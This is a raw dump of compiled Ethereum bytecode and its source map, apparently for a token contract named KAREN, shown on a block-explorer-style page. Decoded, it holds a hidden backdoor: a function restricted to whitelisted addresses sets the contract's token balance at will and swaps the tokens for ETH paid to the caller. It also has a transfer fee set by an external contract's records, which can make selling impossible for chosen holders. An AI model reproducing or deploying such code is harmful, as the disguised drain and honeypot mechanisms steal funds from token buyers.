062c9190611a78565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d69190611a78565b6040518363ffffffff1660e01b81526004016106f3929190611aa3565b6020604051808303815f875af115801561070f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107339190611a78565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107ba306109e3565b5f806107c4610aa9565b426040518863ffffffff1660e01b81526004016107e696959493929190611b0c565b60606040518083038185885af1158015610802573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108279190611b7f565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108c7929190611bcf565b6020604051808303815f875af11580156108e3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109079190611c20565b5060015f60156101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610943610aa9565b73ffffffffffffffffffffffffffffffffffffffff1614610999576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610990906119de565b60405180910390fd5b5f6007819055505f600881905550565b5f8060149054906101000a900460ff16905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a48610aa9565b73ffffffffffffffffffffffffffffffffffffffff1614610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a95906119de565b60405180910390fd5b610aa75f611534565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b4152454e000000000000000000000000000000000000000000000000000000815250905090565b5f610b1933848461112d565b6001905092915050565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610b75575f80fd5b610ba13060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610f6a565b8060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610bff57610bfe611c4b565b5b604051908082528060200260200182016040528015610c2d5781602001602082028036833780820191505090505b50905030815f81518110610c4457610c43611c78565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ce8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d0c9190611a78565b81600181518110610d2057610d1f611c78565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8433602042610da89190611cd2565b6040518663ffffffff1660e01b8152600401610dc8959493929190611dbc565b5f604051808303815f87803b158015610ddf575f80fd5b505af1158015610df1573d5f803e3d5ffd5b505050505050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610e9a610aa9565b73ffffffffffffffffffffffffffffffffffffffff1614610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee7906119de565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5590611e84565b60405180910390fd5b610f6781611534565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcf90611f12565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d90611fa0565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611120919061183b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611164575f80fd5b5f811161116f575f80fd5b5f8060075490503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156111ff575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611252575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156112a5575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561136e5760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b815260040161130491906118e7565b602060405180830381865afa15801561131f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113439190611fbe565b905061136b606461135d83866115f590919063ffffffff16565b61163590919063ffffffff16565b91505b6113be8360025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461150e90919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611461826114538560025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461165a90919063ffffffff16565b61150e90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114ff919061183b565b60405180910390a35050505050565b5f8282111561151b575f80fd5b5f82846115289190611fe9565b90508091505092915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611605575f905061162f565b5f8284611612919061201c565b9050828482611621919061208a565b1461162a575f80fd5b809150505b92915050565b5f808211611641575f80fd5b5f828461164e919061208a565b90508091505092915050565b5f8082846116689190611cd2565b905083811015611676575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156116b757808201518184015260208101905061169c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6116dc82611680565b6116e6818561168a565b93506116f681856020860161169a565b6116ff816116c2565b840191505092915050565b5f6020820190508181035f83015261172281846116d2565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6117578261172e565b9050919050565b6117678161174d565b8114611771575f80fd5b50565b5f813590506117828161175e565b92915050565b5f819050919050565b61179a81611788565b81146117a4575f80fd5b50565b5f813590506117b581611791565b92915050565b5f80604083850312156117d1576117d061172a565b5b5f6117de85828601611774565b92505060206117ef858286016117a7565b9150509250929050565b5f8115159050919050565b61180d816117f9565b82525050565b5f6020820190506118265f830184611804565b92915050565b61183581611788565b82525050565b5f60208201905061184e5f83018461182c565b92915050565b5f805f6060848603121561186b5761186a61172a565b5b5f61187886828701611774565b935050602061188986828701611774565b925050604061189a868287016117a7565b9150509250925092565b5f60ff82169050919050565b6118b9816118a4565b82525050565b5f6020820190506118d25f8301846118b0565b92915050565b6118e18161174d565b82525050565b5f6020820190506118fa5f8301846118d8565b92915050565b5f602082840312156119155761191461172a565b5b5f61192284828501611774565b91505092915050565b5f602082840312156119405761193f61172a565b5b5f61194d848285016117a7565b91505092915050565b5f806040838503121561196c5761196b61172a565b5b5f61197985828601611774565b925050602061198a85828601611774565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119c860208361168a565b91506119d382611994565b602082019050919050565b5f6020820190508181035f8301526119f5816119bc565b9050919050565b7f54726164696e6720616c7265616479206f70656e6564000000000000000000005f82015250565b5f611a3060168361168a565b9150611a3b826119fc565b602082019050919050565b5f6020820190508181035f830152611a5d81611a24565b9050919050565b5f81519050611a728161175e565b92915050565b5f60208284031215611a8d57611a8c61172a565b5b5f611a9a84828501611a64565b91505092915050565b5f604082019050611ab65f8301856118d8565b611ac360208301846118d8565b9392505050565b5f819050919050565b5f819050919050565b5f611af6611af1611aec84611aca565b611ad3565b611788565b9050919050565b611b0681611adc565b82525050565b5f60c082019050611b1f5f8301896118d8565b611b2c602083018861182c565b611b396040830187611afd565b611b466060830186611afd565b611b5360808301856118d8565b611b6060a083018461182c565b979650505050505050565b5f81519050611b7981611791565b92915050565b5f805f60608486031215611b9657611b9561172a565b5b5f611ba386828701611b6b565b9350506020611bb486828701611b6b565b9250506040611bc586828701611b6b565b9150509250925092565b5f604082019050611be25f8301856118d8565b611bef602083018461182c565b9392505050565b611bff816117f9565b8114611c09575f80fd5b50565b5f81519050611c1a81611bf6565b92915050565b5f60208284031215611c3557611c3461172a565b5b5f611c4284828501611c0c565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611cdc82611788565b9150611ce783611788565b9250828201905080821115611cff57611cfe611ca5565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611d378161174d565b82525050565b5f611d488383611d2e565b60208301905092915050565b5f602082019050919050565b5f611d6a82611d05565b611d748185611d0f565b9350611d7f83611d1f565b805f5b83811015611daf578151611d968882611d3d565b9750611da183611d54565b925050600181019050611d82565b5085935050505092915050565b5f60a082019050611dcf5f83018861182c565b611ddc6020830187611afd565b8181036040830152611dee8186611d60565b9050611dfd60608301856118d8565b611e0a608083018461182c565b9695505050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611e6e60268361168a565b9150611e7982611e14565b604082019050919050565b5f6020820190508181035f830152611e9b81611e62565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611efc60248361168a565b9150611f0782611ea2565b604082019050919050565b5f6020820190508181035f830152611f2981611ef0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611f8a60228361168a565b9150611f9582611f30565b604082019050919050565b5f6020820190508181035f830152611fb781611f7e565b9050919050565b5f60208284031215611fd357611fd261172a565b5b5f611fe084828501611b6b565b91505092915050565b5f611ff382611788565b9150611ffe83611788565b925082820390508181111561201657612015611ca5565b5b92915050565b5f61202682611788565b915061203183611788565b925082820261203f81611788565b9150828204841483151761205657612055611ca5565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61209482611788565b915061209f83611788565b9250826120af576120ae61205d565b5b82820490509291505056fea26469706673582212201e3ac18cfee9cef56f93e04f04d96feb7ba668a4d909de9bad393d140cc731da64736f6c63430008180033
Deployed Bytecode Sourcemap
2991:4502:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4341:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7340:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4574:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4789:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6775:557;;;:::i;:::-;;6668:99;;;;;;;;;;;;;:::i;:::-;;4157:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3600:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4671:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1506:103;;;;;;;;;;;;;:::i;:::-;;1617:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4246;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6504:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6030:466;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4432:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1712:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4341:83;4378:13;4411:5;;;;;;;;;;;;;;;;;4404:12;;4341:83;:::o;7340:150::-;7406:4;7423:37;7432:10;7444:7;7453:6;7423:8;:37::i;:::-;7478:4;7471:11;;7340:150;;;;:::o;4574:91::-;4618:7;4645:12;;4638:19;;4574:91;:::o;4789:256::-;4878:4;4895:36;4905:6;4913:9;4924:6;4895:9;:36::i;:::-;4942:73;4951:6;4959:10;4971:43;5007:6;4971:11;:19;4983:6;4971:19;;;;;;;;;;;;;;;:31;4991:10;4971:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;4942:8;:73::i;:::-;5033:4;5026:11;;4789:256;;;;;:::o;6775:557::-;1972:10;1961:21;;:7;:5;:7::i;:::-;:21;;;1953:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6848:11:::1;;;;;;;;;;;6847:12;6839:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;6897:63;6914:4;6929:15;;;;;;;;;;;6947:12;;6897:8;:63::i;:::-;7005:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6987:55;;;7051:4;7058:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6987:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6971:13;;:110;;;;;;;;;;;;;;;;;;7092:15;;;;;;;;;;;:31;;;7131:9;7150:4;7156:24;7174:4;7156:9;:24::i;:::-;7182:1;7185::::0;7188:7:::1;:5;:7::i;:::-;7197:15;7092:121;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7231:13;;;;;;;;;;;7224:29;;;7262:15;;;;;;;;;;;7280:14;7224:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7320:4;7306:11;;:18;;;;;;;;;;;;;;;;;;6775:557::o:0;6668:99::-;1972:10;1961:21;;:7;:5;:7::i;:::-;:21;;;1953:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6735:1:::1;6719:13;:17;;;;6758:1;6747:8;:12;;;;6668:99::o:0;4157:83::-;4198:5;4223:9;;;;;;;;;;;4216:16;;4157:83;:::o;3600:28::-;;;;;;;;;;;;;:::o;4671:110::-;4728:7;4755:9;:18;4765:7;4755:18;;;;;;;;;;;;;;;;4748:25;;4671:110;;;:::o;1506:103::-;1972:10;1961:21;;:7;:5;:7::i;:::-;:21;;;1953:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1571:30:::1;1598:1;1571:18;:30::i;:::-;1506:103::o:0;1617:87::-;1663:7;1690:6;;;;;;;;;;;1683:13;;1617:87;:::o;4246:::-;4285:13;4318:7;;;;;;;;;;;;;;;;;4311:14;;4246:87;:::o;6504:156::-;6573:4;6590:40;6600:10;6612:9;6623:6;6590:9;:40::i;:::-;6648:4;6641:11;;6504:156;;;;:::o;6030:466::-;6094:17;:29;6112:10;6094:29;;;;;;;;;;;;;;;;;;;;;;;;;6086:38;;;;;;6135:57;6152:4;6167:15;;;;;;;;;;;6185:6;6135:8;:57::i;:::-;6230:6;6203:9;:24;6221:4;6203:24;;;;;;;;;;;;;;;:33;;;;6247:21;6285:1;6271:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6247:40;;6316:4;6298;6303:1;6298:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;6342:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6332:4;6337:1;6332:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;6375:15;;;;;;;;;;;:66;;;6442:6;6449:1;6451:4;6456:10;6485:2;6467:15;:20;;;;:::i;:::-;6375:113;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6075:421;6030:466;:::o;4432:134::-;4504:7;4531:11;:18;4543:5;4531:18;;;;;;;;;;;;;;;:27;4550:7;4531:27;;;;;;;;;;;;;;;;4524:34;;4432:134;;;;:::o;1712:201::-;1972:10;1961:21;;:7;:5;:7::i;:::-;:21;;;1953:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1821:1:::1;1801:22;;:8;:22;;::::0;1793:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1877:28;1896:8;1877:18;:28::i;:::-;1712:201:::0;:::o;5053:335::-;5163:1;5146:19;;:5;:19;;;5138:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5244:1;5225:21;;:7;:21;;;5217:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5326:6;5296:11;:18;5308:5;5296:18;;;;;;;;;;;;;;;:27;5315:7;5296:27;;;;;;;;;;;;;;;:36;;;;5364:7;5348:32;;5357:5;5348:32;;;5373:6;5348:32;;;;;;:::i;:::-;;;;;;;;5053:335;;;:::o;5396:626::-;5500:1;5484:18;;:4;:18;;;5476:27;;;;;;5522:1;5513:6;:10;5505:19;;;;;;5535:12;5562:20;5585:13;;5562:36;;5629:4;5613:21;;:4;:21;;;;:46;;;;;5646:13;;;;;;;;;;;5638:21;;:4;:21;;;;5613:46;:74;;;;;5664:17;:23;5682:4;5664:23;;;;;;;;;;;;;;;;;;;;;;;;;5663:24;5613:74;:100;;;;;5692:17;:21;5710:2;5692:21;;;;;;;;;;;;;;;;;;;;;;;;;5691:22;5613:100;5609:246;;;5753:18;;;;;;;;;;;5746:36;;;5783:4;5746:42;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5731:57;;5810:33;5839:3;5810:24;5821:12;5810:6;:10;;:24;;;;:::i;:::-;:28;;:33;;;;:::i;:::-;5803:40;;5609:246;5883:27;5903:6;5883:9;:15;5893:4;5883:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5865:9;:15;5875:4;5865:15;;;;;;;;;;;;;;;:45;;;;5937:35;5967:4;5937:25;5955:6;5937:9;:13;5947:2;5937:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:35;;;;:::i;:::-;5921:9;:13;5931:2;5921:13;;;;;;;;;;;;;;;:51;;;;6003:2;5988:26;;5997:4;5988:26;;;6007:6;5988:26;;;;;;:::i;:::-;;;;;;;;5465:557;;5396:626;;;:::o;627:148::-;685:7;718:1;713;:6;;705:15;;;;;;731:9;747:1;743;:5;;;;:::i;:::-;731:17;;766:1;759:8;;;627:148;;;;:::o;2047:191::-;2121:16;2140:6;;;;;;;;;;;2121:25;;2166:8;2157:6;;:17;;;;;;;;;;;;;;;;;;2221:8;2190:40;;2211:8;2190:40;;;;;;;;;;;;2110:128;2047:191;:::o;1092:185::-;1150:7;1179:1;1174;:6;1170:23;;1190:1;1183:8;;;;1170:23;1203:9;1219:1;1215;:5;;;;:::i;:::-;1203:17;;1248:1;1243;1239;:5;;;;:::i;:::-;:10;1231:19;;;;;;1268:1;1261:8;;;1092:185;;;;;:::o;937:147::-;995:7;1027:1;1023;:5;1015:14;;;;;;1040:9;1056:1;1052;:5;;;;:::i;:::-;1040:17;;1075:1;1068:8;;;937:147;;;;:::o;781:148::-;839:7;859:9;875:1;871;:5;;;;:::i;:::-;859:17;;900:1;895;:6;;887:15;;;;;;920:1;913:8;;;781:148;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:118::-;4940:24;4958:5;4940:24;:::i;:::-;4935:3;4928:37;4853:118;;:::o;4977:222::-;5070:4;5108:2;5097:9;5093:18;5085:26;;5121:71;5189:1;5178:9;5174:17;5165:6;5121:71;:::i;:::-;4977:222;;;;:::o;5205:329::-;5264:6;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5205:329;;;;:::o;5540:::-;5599:6;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5540:329;;;;:::o;5875:474::-;5943:6;5951;6000:2;5988:9;5979:7;5975:23;5971:32;5968:119;;;6006:79;;:::i;:::-;5968:119;6126:1;6151:53;6196:7;6187:6;6176:9;6172:22;6151:53;:::i;:::-;6141:63;;6097:117;6253:2;6279:53;6324:7;6315:6;6304:9;6300:22;6279:53;:::i;:::-;6269:63;;6224:118;5875:474;;;;;:::o;6355:182::-;6495:34;6491:1;6483:6;6479:14;6472:58;6355:182;:::o;6543:366::-;6685:3;6706:67;6770:2;6765:3;6706:67;:::i;:::-;6699:74;;6782:93;6871:3;6782:93;:::i;:::-;6900:2;6895:3;6891:12;6884:19;;6543:366;;;:::o;6915:419::-;7081:4;7119:2;7108:9;7104:18;7096:26;;7168:9;7162:4;7158:20;7154:1;7143:9;7139:17;7132:47;7196:131;7322:4;7196:131;:::i;:::-;7188:139;;6915:419;;;:::o;7340:172::-;7480:24;7476:1;7468:6;7464:14;7457:48;7340:172;:::o;7518:366::-;7660:3;7681:67;7745:2;7740:3;7681:67;:::i;:::-;7674:74;;7757:93;7846:3;7757:93;:::i;:::-;7875:2;7870:3;7866:12;7859:19;;7518:366;;;:::o;7890:419::-;8056:4;8094:2;8083:9;8079:18;8071:26;;8143:9;8137:4;8133:20;8129:1;8118:9;8114:17;8107:47;8171:131;8297:4;8171:131;:::i;:::-;8163:139;;7890:419;;;:::o;8315:143::-;8372:5;8403:6;8397:13;8388:22;;8419:33;8446:5;8419:33;:::i;:::-;8315:143;;;;:::o;8464:351::-;8534:6;8583:2;8571:9;8562:7;8558:23;8554:32;8551:119;;;8589:79;;:::i;:::-;8551:119;8709:1;8734:64;8790:7;8781:6;8770:9;8766:22;8734:64;:::i;:::-;8724:74;;8680:128;8464:351;;;;:::o;8821:332::-;8942:4;8980:2;8969:9;8965:18;8957:26;;8993:71;9061:1;9050:9;9046:17;9037:6;8993:71;:::i;:::-;9074:72;9142:2;9131:9;9127:18;9118:6;9074:72;:::i;:::-;8821:332;;;;;:::o;9159:85::-;9204:7;9233:5;9222:16;;9159:85;;;:::o;9250:60::-;9278:3;9299:5;9292:12;;9250:60;;;:::o;9316:158::-;9374:9;9407:61;9425:42;9434:32;9460:5;9434:32;:::i;:::-;9425:42;:::i;:::-;9407:61;:::i;:::-;9394:74;;9316:158;;;:::o;9480:147::-;9575:45;9614:5;9575:45;:::i;:::-;9570:3;9563:58;9480:147;;:::o;9633:807::-;9882:4;9920:3;9909:9;9905:19;9897:27;;9934:71;10002:1;9991:9;9987:17;9978:6;9934:71;:::i;:::-;10015:72;10083:2;10072:9;10068:18;10059:6;10015:72;:::i;:::-;10097:80;10173:2;10162:9;10158:18;10149:6;10097:80;:::i;:::-;10187;10263:2;10252:9;10248:18;10239:6;10187:80;